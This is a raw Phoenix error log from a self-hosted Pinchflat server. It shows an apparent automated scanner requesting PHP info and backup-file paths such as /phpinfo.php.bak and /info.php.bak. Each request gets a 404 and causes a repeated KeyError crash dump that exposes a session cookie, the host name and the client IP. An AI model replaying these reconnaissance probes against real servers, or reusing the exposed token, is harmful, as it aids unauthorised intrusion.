Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 250, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /smtp/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/smtp/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 250, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdg (truncated) 02:10:25.788 [info] GET /phpinfo.php.bak 02:10:25.789 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=194.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.789 [debug] QUERY OK source="settings" db=0.2ms idle=135.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.790 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:25.790 [error] #PID<0.3555.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 251) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /phpinfo.php.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 251, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3555.0>, params: %{}, path_info: ["phpinfo.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/phpinfo.php.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7JEjaED4MdIAAT6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 251, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 251, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" (truncated) 02:10:25.845 [info] GET /phpinfo.php.old 02:10:25.846 [debug] QUERY OK source="settings" db=0.2ms idle=191.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.846 [debug] QUERY OK source="settings" db=0.0ms idle=129.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.846 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:25.847 [error] #PID<0.3556.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 252) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /phpinfo.php.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 252, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3556.0>, params: %{}, path_info: ["phpinfo.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/phpinfo.php.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7JSTmiROXKAAAT7B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 252, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 252, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" (truncated) 02:10:25.911 [info] GET /phpinfo.php~ 02:10:25.912 [debug] QUERY OK source="settings" db=0.2ms idle=194.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.912 [debug] QUERY OK source="settings" db=0.1ms idle=123.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.912 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:25.912 [error] #PID<0.3557.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 253) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /phpinfo.php~ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php~", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 253, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3557.0>, params: %{}, path_info: ["phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/phpinfo.php~", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7JiAlrEXKnYAAT8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php~", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 253, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php~", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 253, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halte (truncated) 02:10:25.973 [info] GET /info.php.bak 02:10:25.973 [debug] QUERY OK source="settings" db=0.2ms idle=127.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.974 [debug] QUERY OK source="settings" db=0.1ms idle=127.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.974 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:25.974 [error] #PID<0.3558.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 254) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /info.php.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: 